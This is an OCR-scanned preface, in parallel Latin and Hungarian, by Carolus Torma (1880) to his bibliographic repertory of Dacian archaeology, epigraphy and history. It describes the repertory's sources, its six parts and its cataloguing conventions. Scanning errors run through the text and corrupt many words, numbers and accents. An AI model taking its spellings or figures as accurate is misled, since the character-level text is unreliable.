de Bzükségfeletti hozzátennem, hogy egyszersmind annál megbízha-
tóbb s legjobb tudattal még azt is állíthatom, hogy a kutatók ;iz oly
adatoknak egész nagy sorát fogják feltalálni e Lapokon, melyek a
többi hasontáreyú összeállításokban hiányzanak.
Magam tudom Legjobban, hogy e repertóriumból több adat
maradt ki, a mi odatartozott volna, de ennek az inient idézetten
kívül még egy más, t. i. az az oka is volt, hogy hazai könyvtáraink
ilynemű munka összeállítása tekintetéhen sok kívánni valót hagynak
fenn. Habár az erdélyi múzeum, a báró Bruckenthal-fele nagyszebeni,
a m. tud. akadémia, a m. n. múzeum, a kir. m. tud. egyetem s ;i m. n.
múzeum régiségtára és n bécsi cs. és kir. érem- es régiségtár kézi-
könyvtárait, valamint több magánosét — a kiknek liberalitásáért e
helyt mondok köszönetet — mint a többi között t. barátom Szilágyi
Sándor transilvanicumokhan, mint szintén Cipariu balázsfalvi gör.-
kath. nagyprépost és Moldovanu kanonok urak román kiadványok-
ban felette gazdag könyvtárait át-meg átvizsgáltam : a czélomra
szükséges teljes anyagot még e szép gyűjteményekhen sem voltam
képes fellelni. Ehhez járult meg az a haj is, hogy könyvkereskedési a
más egyeh kedvezőtlen viszonyainknál fogva különösen a Romániá-
ban önállóan es folyóiratokban megjelent müvek Legtöbbjét, töhh
erdélyi szász gymnasiumi programmot, néhány régebben és újabban
ugyanott megjelent folyóiratot, valamint töhh magyar kiadványt,
mint névleg a Délmagyarországi történelmi és régészeti társulat Em-
lékkönyveit, a Biharmegyei régészeti egylet kiadványait s több kül-
földi tudományos folyóiratot stb. vagy egyáltalán nem. vagy pedig
hézagosan s oly időben kaptam kézhez, hogy az azokban fellelhető
bő anyagot többé már nem értékesíthettem.
XVI Praefatio.
iiut omnino non, aut tum demum sum nactus, quum ea in usum
meum convertere iam non licuit.
Non potui itaque id sequi, ut omnia conquiram, qua-cunque
ad propositum menm facere viderentur — quamquam quis nescit
quantopere cupiat id repertorii cuiusvis auotor — si indicis lniius
editionem ad infinitum tempus procrastinare nolui. Ceterum res ipsa
monet, in componendo eiusmodi indice non absolutam, sed eam esse
tantum perfectionem quserendam, quae attingi potest. Ceterum operám
dabo ut ea, qua? in hoc indice desiderantur, et posthac ad manus
ineas pervenient, aut interim iam mihi innotuerunt, vei denique iam
prsenotata sed nondum collatione sollicita confírmata sünt, per
tempóra in supplementa congesta publicentur.
Repertórium, quod singula antiquitatis monumenta intuitu
naturae, usus, et loci ubi reperta essent in singulas classes distri-
buta exhibeat, vix jjotuerim conficere, si evitare volui, ne libri moles
in immensum excrescat; nec audebam suscipere opus, quod singuli
hominis vires perficere minimé possunt. Notum enim est pleraque
opera archaeologica ita esse composita, et quidem propter demonstra-
tiones analogiarum non modo recentiora verum etiam antiquiora,
ut eadem lucubratio non unum tantum sed plures immo nonnnnquani
permultos tractet locos et res, ita ut e. c. in eadem dissertatione
monumenta prisca, Romána, migrationi gentium coaeva non secus
memorentur quam inscriptiones Romanas etc.
Minus anxius eram in memorandis locis, in quibus aliquod
monumentum inventum erat, quam in requirendis titulis operum
literarmm quae quocunque modo ad archeológiám et epigraphiam
Dacia? referuntur, itaque eos praecipue locos inserui parti tertise, quo-
rum nomina in titulis operum laudatorum memorata erant. Si quis
accuratius inquirere voluerit, consulet repertoria antiquaria, chro-
nica, analecta quae in hoc indice designavi et in indice rerum etiam
in classes digesta exhibui. Ceterum indicatio li8?c locorum, quamquam
parum absoluta, tamen satis locuples est, ut qui singulorum locorum
inventa conquirere velit, tuto eam sequi jiossit, quod liquido apparet,
ut plura non referem, ex recensione omnium fere scriptorum, quae
thesaurum aevi migrationis gentium in Petrósa repertum, tabulas
ceratas Aeresjiatakienses tractant, vei compositione eorum, quae in
descriptione térne Siculorum Blasii Orbán adnotata inveniuntur.
Előszó. XVI]
Mindannak, mi czélomra tartozik, beszerzésére és arra tön kéd-
nem, hogy teljes azaz tökélyes repertóriumot adjak — pedig vajmi
hajlandó ilyesmire a repertórium készítő ! - ali,ur Lehetett, hacsak a
végtelenségig nem akartam összeállításom megjelenéséi késleltetni.
De a dolog természeténél fogva is ily összeállításokra nézve nem
absoiut, hanem csak relatív tökélyről lehet szó. Rajta leszek egy* b-
iránt, hogy az, a mi e repertóriumból kimaradt s utóbb kezemhez jut,
vagy immár időközben kezeimbe is került, vagy végűi a mi elő van
ugyan jegyezve, de meg összevetendő, idöröl-idöre közreadandó tol-
dalékként megjelenjen.
Oly repertóriumot, mely valamennyi régiségtárgyat minőség,
termeszét s leihely szerint külön csoportosítva tüntessen fel. létesíte-
nem szintén alig lehetett, hacsak azt nem akartam, hogy az egyrészl
valóságos nagy könyvvé ne nevekedjek, másreszt pedig hogy oly
munkába kezdjek, a mely egyes ember erejét messze túlhaladja.
Hisz tudva van, hogy a régiségtani közlemények legtöbbje oly ter-
mészetű, és pedig az analógiák feltüntetése miatt nem csak az ujabb-
koriak de főleg a régibb keletűek, hogy ugyanazon egy közlemény
nem csupán egy, hanem több s néha nagyon is sok tárgyra és lei-
helyre vonatkozik akkép, hogy például azon egy értekezés ős-, római-
s nq.vándorláskori régiségeket és lelhelyeket csakúgy tárgyal, mint
római feliratokat stb.
Kevésbbé törekedvén a lelhelyek teljes repertórium ara mint
inkább a Daciára vonatkozó régiség- és felírattanijművek czímének
és vonatkozásainak minél teljesebb feltüntetésére, jobbadán csak
azokat a lelhelyeket soroztam a III. részbe, a melyeknek neve az
ületö inü czímében meg van nevezve. A szükséges felvilágosításokat
azonban ez irányban az összeállításomban feltüntetett s a Tárgymu-
tatóban külön is csoportosított régészeti repertóriumok, krónikák,
analekták megadjak. Egyebekben a lelhelyek sorozata jelen, teljesleg
ki nem elégítő voltában is még mindig elég bö arra. hogy az egyes
lelhelyek tekintetében biztos útmutatóul szolgáljon ; legyen elég e
részben csak a petrósai népvándorláskori aranykincs s a verespataki
római viaszos-táblák teljes irodaimara vagy Orbán Székelyföldje
bőséges adatainak csoportosítására utalnom.
Repertórium. II
XVI H Fraefatio.
Quae ad monumenta antiquaria, titulos, facta historica, geo-
graphica et topographica cuiusque aetatis relata sünt, facile invenies
ope indicis rerum, in quo numeri ad ea pertinentia accuratissime
sünt indicatí et digesti. Quoad alia, et in universum quoad methodum
qua quis lioc repertorio optime uti possit, non possum satis com-
mendare, ut singuli numeri accurate excutiantur, quoniam saepissime
tituli operum singulorum, ipsi praebebunt indigitationes eas, quas
investigator requiret.
In componendo boc opere, ut jam ipse repertorii titulus indicat,
inprimis curam habui ut opera antiquaria, numismatica et epigra-
phica recenseam, quae ad Daciám referuntur, nihilominus nec histo-
rica, geographica et tojiographica volui negligere, praesertim ea,
quae quoquo modo ad illustrandas res gestas priscorum incolarum
Dacia; et populorum iis cognatorum servire possunt. Ita singularí
cum cura contuli in partém quintam quidquid de origine, lingua et
história Eumunorum (Valaehorum) inter fines antiquae Daciae agen-
tium literis mandátum nancisci potui. Porro in parte sexta etiam
operibus manu scriptis assignavi locum suum ; non leve incrementum
praebentibus matériáé scientiarum et disciplinarum singularum de
quibus bic agitur.
Opera antiquaria secundum ordinem aetatum, quarum monu-
menta tractant, simili ordine et opera numismatica sünt disposita
et digesta in indice rerum.
Quod opera epigraphica, et praecipue vetustiora attinet, super-
varaneum estcommemorare, quam diuturni et ardui laboris sit, omnia
ex iis exquirere et enotare atque in ordinem redigere quasé ad Daciám
pertinent; auctores enim eorum indices geographicos, qui tadiosum
perscrutandi et excutiendi singula negotium facilius redderent,
adiicere non curaverunt. In paucis tantum vetustioribus epigraphicis,
e. c. Maffeii et aliorum, et si quosdam excipias in recentioribus fere
omnibus Daciám concernentia seorsim sünt disposita. Improbi erat
inprimis laboris ex operibus epigraphicis maioris molis , veluti ex
Grutero, Lazio, Reinesio, Muratorio, OreUio, cet. Dacica omnia exqui-
rere et accurate enotare. Quamquam enim Corpus Inscriptionum
Latinarum, et Epbemeris Epigraphica eidem tanquam supplementum
accedens omnium operum vetustiorum epigraphicornm locum obti-
nere posse videtur, haud sane supervacanea est ista cura, pra sertim
Előszó. xi\
Az egyes korszakok régiségtárgyaira, a feliratokra, a történe-
tiekre, föld- és helyíratiakra b a repertórium más érdekesebb tár-
gyaira vonatkozó adatok a Tárgymutató Begélyével, a melyben azok
megfelelő számai Legnagyobb pontossággal vannak csoportosítva,
könnyen fellelhetők. A többire, mintszintén általában az egész reper-
tórium használatára nézve különösen ajánlhatom az egyes Bzámok
figyelmes áttekintését, mennyiben a kutatónak a kivánl felvilágosítási
az egyes művek ezíme a legtöbb esetben megadja.
, Összeállításombari mint mar maga a repertórium ezíme is
eléggé kifejni a fősúlyt önként érthetőleg a Daciát illető régiség-,
erem- és felírattani müvekre fektettem, .le a történeti, föld- és hely-
írattani közleményeket is beveendőknek tartottam; nevezetesen
mindazt, a mi Dacia őslakói s a velők rokon népek történetének
megvilágítására vonatkozik. E tekintetből főleg az egykori Dana
területen lakozó románok (oláhok) eredetet., nyelvet és törtenetet
tárgyazó müveket az V. részben -omlósán összeállítottam. Helyt
adtam továbbá a VI. részben a kéziratoknak is, a melyek nem egj
új adattal világosítják fel a repertóriumban egybeállított egyes tudo-
mányszakokat.
A régiségtani müvek, a szerint a mint azok az egyes korok
régiségeit tárgyalják, valamint az éremtaniak a Tárgymutatóban kü-
lön vannak csoportosítva.
A mi különösen a régibb felírattam müveket illeti, szüksegfeletti
' (mondanom, hogy azok Daciára vonatkozó adatainak pontos össze-
állítása hosszantartó és fáradságos munkát adott, mennyiben szer-
zőik nem gondoskodtak arról, hogy a keresés úgy is vesződséges
mupkáján index geographikussal könnyítsenek. Csakis néhány régibb
felírattam műben, mint Ma mi eben és másokéban s kevés kivétellel
az ujabbakban vannak a Daciára vonatkozók külön csoportban fel-
tüntetve. Különösen nehéz munkát adott a felírattam testesebb mű-
vek például — Gruterus, Lazius, Reinesius, Muratori, Orelli stb.
dacicumainak minél pontosabb összeállítása. Pedig e mívelet a min-
den régibb felírattam müvet pótló Gorpus Inscriptionum Latinarum
és az ezt kiegészítő Ephemeris Epigraphica mellett is már csak azért
XX Praefatio.
quia multa il)i sünt adnotata archaeologica et inventionis rationem
spectantia, et quidem simimi momenti, qu.se Mommsenus iu recen-
eione sua titulorum Dacicorum omnium sestimatione abBolutissima
et fide dignissiina, tanquam ad suum propositum minus pertinentía
omittenda putavit. Accedit, quod interim, donec in Monumentis meis
etiam literas epigraphicas ad Daciám spectantes enumerare et recensere
potero, lmius rei studiosos a tsedio perquisitionis liberatos esse volui.
Ubi operis cuiusdam epigraphici plures exstant editiones, quoad
potui, primam semper adhibui, qua? plerunique optirna? est fidei, quod
ut probeni, sufficiat Gruteri opus adferre, cuius príma unni 1G03
editio (Heidelbergensis) multo emendatior est, quarn ea, qua? curis
Burmanni et Grsevii anno 1707 Amstelaedaini prodiit.
Non minus diuturnum et fatigabile negotium erat praeter excus-
BÍonem operis Orbáni « Székelyföld », coliigere . omnia lóca Daciám
spectantia ex chronicis antiquariis, repertoriis et analectis, quae in
parte quarta digessi.
Inter opera historica ea potissimum recepi, quae tota Daciám,
eius priscos incolas et i)Oi?ulos vicinos et cognatos respiciunt, quam-
quam dedi locum etiam aliquibus, qua históriám Dacia1 ex parte
solum, vei tanquam accessorium tractant argumentum.
Literis geographicis et topographicis etiam tabulas geographicas
vetustiores et recentiorum optimas inserui.
Qui história? priscorum Dacia? incolarum, neque secus origini.
lingua?, et rebus gestis Eumunorum (Yalachorum) dánt operám,
grato certe animo accipient seriem, quam in parte quinta disposui,
qua?que, etsi non licuerit opera de hoc argumento pridem usque ad
annum 1848, immo etiam plurima recentiorum in Románia editorum,
quamvis diligenter requisita, videre et excerpere, et etiam multa in
Germania edita desiderarem, itaque me ipso judice non potest esse
completa, tamen ita quoque locupletius est et accuratius repertórium
meum, quam notitiae literariae huc usque edita?. Maximam in hac
parte habui curam recensionum et disputationum criticarum, quo-
niam has sünt praecipue, qua' nova sub specie intuentes saspe qua -
stiones diu disceptatas, non raro summa attentione sünt dignse ;
quotquot nancisci potui, omnes recepi.
Cupiebam equidem scripta de origine Eumunorum (Valacho-
rum) ita in ordinem digerere, ut et temporis habeam rationem, et
Előszó. \\I
is szükséges volt, mivel nem egy régiségtani, s a provenientia meg-
állapításánál fogva nagybecsű oly adal van azokban az egyes felira-
tokhoz csatolva, melyei Mommsen örök becsti és órvényíí fel
összeállításában mini a mű czéljára szorosabban nem tartozói ter-
mészetesen mellőzött. Aztán meg addig is, míg Monumentáimban a
Daciát illető felírattani müvek sorozatát is közölhetném a kutatókai
egyszer s mindenkorra megakartam az utánkeresés nagj vesződB*
járó munkájától kímélni.
A felírattani régibb olyan müveknél, melyek egynél több kiadási
értek, lehetőleg az első kiadást használtam mini rendesen a légi
bízhatóbbat, a mire nézve legyen elég csak Gruterus művére utalnom,
a melynek 1603. évi első (heidelbergi) kiadása a Burman-Graevius-féle
1707. evi amsterdam inal jóval korrektebb.
Nem kevésbbé tartós és fárasztó munkát adott Orbán Székely-
földjének kivonatozásán kívül a régészeti krónikák, repertóriumok,
analekták Daciára vonatkozó helyeinek összeállítása is a [V.részben.
A történeti müv< k közül jobbadán csak a Daciára, öslakóíra s
a szomszéd rokon népfajokra egyenesen vonatkozókat vettem fel,
habár számos olyan is helyet talált, a mely Dacia történetével csak
részben vagy mellékesen foglalkozik.
A föld- és helyírati müvek köze a régibb térképeket s az ujab-
bak közül a jobbakat tartottam felveendőknek.
Azok,, a kik Dacia őslakói törtenetevei. valamint a románok
(oláhok) eredetev.l. nyelvével és történetével foglalkoznak, bizonyara
szívesen veendik az V. részben összeállított sorozatot habár azt
annálfogva, hogy Románia e tárgyú nemcsak 1848 előtti régibb, de
ujabb kiadványainak egy részéi söt még a nemet publicatiókból is
többet látnom és kivonatoznom legszorgalmasabb utánjárásom da-
czára sem sikerült, teljesnek nem is tarthatom. Repertóriumom azon-
ban az eddig megjelent hasonló bibliographiai összeállításoknál e
részében is meg mindig tetemesen bővebb és kimerítőbb. Különös
súlyt helyeztem e reszt illetőleg a bírálatokra s ismertetésekre, meny-
nyiben épen e bírálatok és ismertetések gyakran igen érd< k< - külön
nézpontokból tárgyalják ama reg vitatott kérdést; ehhezképest a hány
csak kezemhez jutott közölve is van.
Óhajtottam volna a románok (oláhok) eredetéi tárgyaló müve-
két a BzerzŐk által a kérdésben elfoglalt álláspontok szerint - idő-
XXII Praefatio.
sententiarum quibus unusquisque auetorum judicium suum et opi-
íiioiu ni füleire conabatur; sed hoc efficere non potui propter varieta-
tem argumenti horum operum, quae plerumque et antiquitates et
históriám simul Daciae, immo inprimis hanctractant; atquiitapotuis-
set tandem apparere, unde quisque eorum originem huius gentis
derivaverit primum. Haec varittas argumenti etiam causse est. quod
plurium operum tituli in partém primam sünt redacti, qui etiam in
quintam debuissent referri, et vice versa. Ita omissis operibus
D'Anvillei et Czoernigi, ex iis <pű in parte prima laudati sxmt Benkö1)
Sulzer*), En<h !'■'•. et Schafarik l) disertius tractant de origine Rumu-
norum (Valachorum),immo5t'/iA;ó' ipse est primus auctor eius senten-
tiae, quae hanc gentem immigravisse autumat, et cuius doctissimus el
fortissimus defensor est pptime meritus noster Paulus Hunfalvv.
Sed qui attente evolverit hoc repertórium facile reperiet etiam partis
prima' numeros huc pertinentes.
Ex varii argumenti operibus, quae Encyclopaedica vocant, aliquol
tantum, et quidem graviora excussi, veluti ex Paulyi et Erschii-Gruberi
operibus dissertationes eruditas et copiosas de história, geographia,
topographia et ethnographia Dacia? et regionum finitimarum.
Ex seriptoribus antiquis eos solum recepi, qui specialiter de
Dacia disseruerunt, quales sünt Ptolema?us, Jordánia, Anonymus
Bavennas, Guido etc. ex quorum operibus lóca de Dacia operi inserui ;
reliquorum auetorum de Dacia testimonia satis sünt nóta, et praeterea
locum invenient in Monumentis meis.
Ex ingenti copia librorum in usum scholarum editorum vix
imum vei alterum optimae notae excerpsi ; si omnes recepissem, hoc
repertórium sine ulla necessitate ultra modum exerevisset. molesta que
molis culpam non vitavisset ; praterea non potui animum inducere,
ut mea opera adjuventur ii, qui judicia sua argumentis e libris scho-
lasticis depromptis íirmare consueverunt.
l) Transsilvania. Vindobonae, 177*. I. k. 474 — 4nI. 1. in. 74.)
2I Geschiclite des transalpinisehen Dacieus. Wien, 1781 — 17*2. II. k.
.'3—63, 151-286. 1. (n. 730.).
:'\ Commentatio de expe litionibus Traiani ad Danubium, ei origine
Valachorutn. Vindobonae, 1794. 280—294. 1. (n. 175.).
' Slawisehe Aiterthümer. Leipzig, 1843—18*4. II. k. 10!)— 206. 1. in. 662.1
Előszó. XXIII
rendi sorozatbarj összeállítani, de azt a művek vegyes tartalmánál
fogva mennyiben azok egyszersmind Dacia régészetót, történetét ifi
s leginkább épen ezt tárgyalják, nem létesíthettem, pedig csak ekkénl
derült volna ki, hogy e nemzetiség eredetét illetőleg felállított ti
Bek voltaképei] kitől eredneki A kérdéses művek vegyes természete
okozta azt is. hogy töld> oly mű czíme jutott az T. részbe, melynek az
V-ben is helyt kellett volna foglalni s viszont. így, hogy D'Anville,
Czoernig müveit mellőzzem, az I. részben idézettek közül Benkfi1)
Sulzer2), Entjd8) és Schafarik*) terjedelmesebben tárgyalják a romá-
nok (oláhok) eredetet, sőt Benkő epén atyja a bevándorlási thesisnel ,
míg nagyérdemű Hunfalvy Pálnnk legerősebb es legtudósabb védője.
A repertórium figyelmes átlapozása után azonban nem lesz nehéz
az I. rész e tárgyra vanatkozó számait is fellelni.
Encyklopaedikus művekből fsak néhány fontosabbat használ-
tam fel, mint a Pauly és Ersch-Gruber-féléknek Dacia történetére,
föld- es helyiratára, Lakosaira s az ezekkel szomszédos népfajokra
vonatkozó bővebb es tartalmasabb czikkeit.
Az ókori szerzők művei közül csak a lényegesebben Daciára
vonatkozókat, Ptolemaeus, Jordanis, a ravennai névtelen. Guidó stl .
műveinek megfelelő részeit soroztam be; a többi ú. n. auctornak
Daciára vonatkozó helyei különben is eléggé ismeretesek, s azonkívül
is Monumentáim egy külön fejezeteben helyet fognak nyerni.
A tankönyvek nagy soraitól csak egy-két elismert jelességüt
kivonatoztam : ha mindannyit beveszem, repertóriumom minden
Bzükség nélkül túlnagygyá s bizonynyal nehézkessé vált volna: s azt
meg epén nem akartam lelkiismeretemre venni, hogy összeállításom
azok segélyéül szolgáljon, a kik tudományos tételeikel tankönyvekből
mentett adatokkal szoktak erősebbé tenni.
M Transsilvania. Vindobonae, 1778. I. k. 474— 48i. 1. (74.
-i (ieschichte <les transalpiniscben Paciens. Wien. 17S1 — 1782. II. k.
3— <i3, 151— -2Sti. 1. (730. sz.i.
8) Commentatio de expeditionibus Traiani ad Danubium, el origine
Valachorom. Vindobonae, 1791. 280—291. 1. (175.
*) SlawischeAlterthümer. Leipzig, 1843—1844. II. k. 199 206.
XXIV Praefatio.
Ubi notitia literaria vei recensio de aliquo novo opere, quocl
quidern notatu dignum existimari poterat, cuiusdam pretii quid conti-
nebat, citandam ram putavi.
Ilatio ipsa conficiendi repertorii efficit, ut praeter matériáin gra-
vem, et quae merito magni mbmenti esse existimari possit, multa etiam
locum capiant, quae primo obtutu levia, futilia et nullius momentí
esse videantur, velut lucubratiunculae ex actis diurnis, calendariis
aliisque eiusmodi libris excerptae ; tamen et hac habent suum pretium,
pra^cipue apud archaeologiae et epigraphiae studiosos, multa enim
indicia chronologica, topograpbica, et de locis ubi quid inventum sit
continent, quae saepissime dubitantem ex errore in viam reducunt.
Quae in parte sexta opera mami scripta adnotavi, pleraque in
chartulariis musei Transüvanici, et 1. b. Bruckenthal servantur, quaB
iterum iterumque perscrutari licebat; de quibusdam a liominibus
onmino fide dignis accepi notitiam. Collectiones Telekianam Maros-
vásárhelyini, Battliyanyanam Álba' Juliié, musei nationalis, régise
scientiarum Universitatis et Academiae Hung., quod doleo, in usum
repertorii mei penitus excutere nondum potui, tamen editionem liuius
operis usque ad finem laboris tam diuturni retardare nolui. Curabo
ut hunc defectum, occasione oblata, in supplemento resareiam,
quamquam non magna me tenet spes, in his collectionibus Dacica
multa repertum iri. Josephi comitis Kemény optime meriti, et ami-
corum eius literas, quoad meum propositum tangunt, ut fontem
copiosum archaeologiae, epigraphiae et numismaticae Dacica' referendas
censui; sed quae ad monumenta inscripta referuntur et a Mommseno
in volumine III Corporis Inscriptionum Latinarum tam accurate
enumerata, judicata et recensita sünt, quaeque in remotis bibliothecis
asservata mihi inspicere non licuit, omisi ; ceterum in animo est,
cum literas epigraphicas Dacia- recensebo, etiam opera mami scripta
eiusdem argumenti pro meritis laudare et recensere.
Priusquam hanc forsitan iam nimis longam finio praefationem,
liceát pauca de ordine disserere, in quem matériám huius repertorii
digerendam judicavi.
Et primum quidem moneo, me optimum judicavisse, ut opera
in singulis partibus enumerata ad seriem literarum et numerorum
disponantur, qui ordo consuetus est in repertoriis conficiendis.
Numeris currentibua iam propter necessitatem testimoniorum affe-
Előszó. XXV
Az érdekesebb müvek értékké] bitó vagy némi újai tartalmazó
temertetésétj bírálatát, hacsak kezemhez juthattak, idézni czélszerünek
tartottam.
A repertóriumok természetéből következik, hogy azokban a
tartalmas anyagon kívül Bok jelentéktelen böI Belejtes vagy olyannak
Látszó főleg hírlapi, naptári stb. miinek is hely jut; de ha valamely
tudományszaknál, úgy a régiség- és felirattaninál különösen megvan
az ilyen dolgoknak sajátos becse, mennyiben igen gyakran i pen a/
ily jelentéktelennek látszó közleményecskék igazítnak, főleg kurtáin.
helyírati, provenientiai stb. tekintetben útba.
A VI. részben közlött kéziratukat jobbadán az erdélyi múzeum
s a báró Bruckenthal-féle gyűjtemény kézirattárából közlöm, ;■ me-
lyeket át-meg átkutattam, néhány felől pedig teljesen megbízható
kézből vettem értesítést. A gróf Teleki -féle marosvásárhelyi s a gróf
Batthyány-féle gyulafehérvári könyvtárak valamint a m. n. múzeum,
a kir. magy. tud.-egyetem s a m. t. akadémia kézirattárát repertó-
riumom czéljából, sajnálatomra, teljesen még nem kutathattam át,
összeállításom közreadását pedig ettől a több időt igénylő munkától
függővé tenni nem akartam : gondom lesz azonban, hogy e hiányt a
Toldalékban alkalmilag pótoljam, habár dacicumok tekintetében az
említett kézirattárakhoz nem is fűzök valamely különösebb reményt.
A nagyérdemű gróf Kemény József és koré levelezésének czéljaimra
tartozó részét, mint Dacia ókon történetének, régiség-, felirat- i a
éremtanának igen bő forrását, szintén közlendőnek tartottam: mel-
lőztem azonban a Dacia feliratos emlékeire vonatkozó ama kéziratok
közleset, melyeket Mommsen a Corpus Incriptionum Latinarum Hl.
kötetében oly kimerítően sorol fel, ismertei <s szokott virtuozitásával
birál s a melyek legnagyobb részét mint távoli könyvtarakban létezőt
különben sem láthattam: Dacia felírattani irodalma ismertetés
egyébiránt e kéziratokat kellőkép szándékozom ismertetni és méltatni.
Mielőtt e tán túlhosszúra is nyúlt előszót bevégezném, 1<
szabad a repertórium berendezését illetőleg nemieket még elmon-
danom.
Megjegyzem mindenekelőtt, hogy legczélszerűbbnek véltem az
egyes részekben felsorolt müveket betű- és számrendben, mint a
repertóriumok leggyakorlatibb formájában, összeállítani. A folyi
mok szerinti beosztás mar csak a hivatkozások végett is elenged-
XXVI Praefatio.
rendorum carere non potui, non suffecisset enim Bola indicatio pa-
ginae inprimis in anonymis»
Titulos publicationum A.cademiarum vei Societatum, program-
matuin scholarum, editionum periodicarum et actorum dinrnornm,
qu.se multa excussi seorsim referre supervacaneum existimavi.
Opera anonvma, vei quibus tantum initiales literae aut siglae
erant subscriptae, ubi de verő auctorum nomine certior fieri potui,
inter opera eiusdem auctoris retuli, et id, ubi opus fűit, expresse
adnotavi.
Opera eiusdem auctoris porro, quoad potui, ad ordinem tem-
poris, quo prodierant, hoc est, ut dicunt, chronologico ordine dis-
posui.
Titulos operum exacte secundum orthographiam auctorum
reddidi, exceptis titulis antiquis Hungaricis, quos ad normám hodi-
emse orthographia? transformavi, sed ubi singulare quid occurrit, id
iidcliter conservavi.
Titulos editionum in quibus dissertatio vei alia lucubratio etc.
publicata erat ideo integros descripsi ubique, et imino etiam ubi idem
titulus sub numero prscedente iam descriptus erat, ut enotationem
argumenti quaesiti faciliorem reddem, nec dubito gratius id főre hoc
repertórium volventibus, quam si adjecto «ibidem» impedivissem
negotium jam per se molestum.
Supervacaneum videtur ut moneam ubi operis alicuius ita tit
mentio ut pagúaarum nurneri non citentur, id totuni ad Daciám
referri : contra si quod opus non totum de rebus Dacicis ágit, sed
Dacica etiam continet, lóca huc pertinentia cum exactis paginarum,
ubi extant, numeris sünt enotata.
Numerus paginse l»is positus indicat duo cssr lóca Daciám
spectantia in eadem pagina, interposito textu a rebus Dacicis alieno.
Index nominum et locorum nomina auctorum et locorum eorum
continet, ubi aut res antiquae inventas sünt, aut aliud quid memoratu
dignum laudatur ; index verő reruni qua renti indicat opus in quo de
re quaesita agitur. Est quidem hic rerum index satis accurate con-
fectuSj neque diffusiorem et singula magis sequentem, propter dil'ü-
<'iiltates supra memoratas, conficere quivi.
Quod in eiusmodi opere inprimis necessarium est, ut nu-
rneri paginarum mendis omnibus careant a me pra?stari prte-
Előszó. XXVII
hetetlen volt. csakis a Lapszámra történő hivatkozás ■ külöi
a névteleneknél — nem felelt volna meg a czélnak.
Az átkutatott számos akadémiai s társulati kiadvány, iskolai
programm, folyóirat és hírlap czímél külön kimutatni feleslegesnél
tartottam.
A névtelenül, vagy pedig névbetük, jegyek stb. alatt m< gjelenl
müvek közül azokat, a melyek szerzőinek ki léiét vagy a Bzövegből,
vagy más hivatkozásból, vagy pedig biztos értesülésből megtudnom
lehetett, az illető szerző müvei közé soroltam s e/t a hol csak szük-
ségesnek véltem meg is jegyeztem.
Ugyanazon szerző művei lehetőleg azok megjelenési ideje bz< -
rint, tehát korrendben vannak felsorolva.
A czímeket az eredeti helyesírása szerint híven közlöm ; a r< -
gibb magyar kiadványokét azonban mai helyesírással. de a speciali-
tásokat mindenütt pontosan megtartva.
Ama kiadványok czímét, melyekben valamely értekezés, czikk,
közlemény stl». megjelent, azért írtam ki valamennyinél teljesen s
meg akkor is, ha e czím az előbbi szám alatt már előfordult, hogy a
keresett adat kijegyzését, illetőleg fellelését megkönnyítsem, - meg i-
vagyok győződve, hogy ezt azok, a kik e repertóriumot használni
fogják, szívesebben veendik, mintha egy «ugyanott»-al nehezítettem
volna meg különben is fáradságos munkajokat.
Szüksegfeletti említenem, hogy oly müvek, a melyeknél lap-
szám nincs kitéve, egész terjedelmükben Daciára vonatkoznaks hogj
azoknál, a melyek nem foglalkoznak ugyan kizárólag Daciát illető
tárgyakkal, de arra tartozókat is foglalnak magukban, az ily helye-
ket tartalmazó lapszámok pontosan vannak feltüntetve.
Egymásután következő ugyanazon lapszám azt jelenti, hogy e
Lapon Daciára vonatkozó két külön adat fordul elő, melyeket azon-
ban dacicumot már nem tartalmaz*') beékelt szöveg választ el egy-
mástól.
A Név- es helymutató a szerzők és a Lelkelyek, illetőleg az egy
vagy más tekintetben ismertetett helyek nevére, a Tárgymutató pedig
a keresett tárgyról szóló műre biztosan rávezeti a keresőt. A gondo-
san egybeállítottnál részletesebb Tárgymutatót készítenem, a fennebb
erintett nehézségeknél fogva, lehetséges egyáltalán nem volt.
A lapszámok megjelölésének helyességéről, a mi ily természetű
X X VIII Praefatio. ____^
dico, ipse enim summa cum cura typothetarum mendas accurate
emendavi.
Demuni haud abs re yidetur commemorare in sex partibus
buius repertorü mense Novembri anni preeteriti absoluti 1288 nu-
meros contineri. sul) quibus 742 auctorum 404 opera seorsim edita
et 865 dissertationes et alia- lucubrationes sunt memoratae, quae
seriptis periodicis, aetis publicis vei publicationibus sunt inserta;;
recensentur itaque 1269 scripta typis excusa, exeisa et denuo impressa
etiam versiones non numerando ; praeterea auctorum 61 plua quam
quingenta opera manu scripta, epistolae, schedae et tabulae delineatse
eommemorantur.
Budapestini d. XVI Jan. a. MDCCCLXXX.
Carolus Torma.
Előszó. XXIX
munkánál önként érthetőleg elengedhetetlen, a Bzigorú pont
eszközölt korrektúra folytán jótállhatok.
Végezetül nem tartom feleslegesnek megjegyezni, hogy a tavaly
novemberben bezárt repertórium hal részében közelve van
1288 szám, a melyek alatt 742 szerzőtől M)4 önállóan megjelent mü
és 865 oly értekezés, czikk, közlemény van felsorolva, mely akadé-
miák, társulatok kiadványaiban, folyóiratokban, hírlapokban stb.
jelent meg, összesen tehát 1269 nyomtatvány, a külön- és utánnyo-
matokat s fordításokat oda nem számítva; 01 szerzőnek pedig több
mint ötszáz darabra tehető) kezirati müvéről, leveléről, jegyzetéről 8
rajzáról tetetik említés.
Budapesten. 1880. januarius 16-án.
Torma Károly.
SUMMAKIUM.
Pagina
Pars 1. Opera singularia, porro dissertationes et eommentationes bre-
viores in scriptis periodicis vei actis diurnis editae et aueto-
rum nominibus insignitae I
a II. Opera, dissertationes et eommentationes, quae eodem modo,
sed aut ornisso auctoris nomine prodierunt, aut ficto nomine
sive sigillo quodam sünt signatae 99
« ///. Opera anonyma et reliqua in partibus I, II, IV et VI jani
reeensita, in quibus nomiua geographica memorantni', in
liaec nomina distributa lOi
« IV. Xntitiae rerum ad antiquitatem speetantium undique conge-
starum et publice expositarum, museorum, cűllectionum pub-
licarum et privatarum nec non antiquitatum singulis occa-
sionibns pnblice expositarum, catalogi cet. 131
« V. Opera originem, ringnám, históriám Rumunorum (Valachorum)
tractantia sen auctorum nominibus insignita sen anonyma 139
« VI. Mami Bcripta 155
TÁRTA LOM,
Lap
/. rénz. A szerzők aeve alatt megjeleni önálló művek, folyóiratokban
és hírlapokban közölt értekezések, czikkek stb. 1
//. • Névtelenül vagy álnév, jegy stb. alatt megjelent önálló mű-
vek, folyóiratokban és hírlapokban közölt értekezések, czik-
kek stl»
III. « Névtelenül megjelent müvek, valamint az 1. 11, IV és VI.
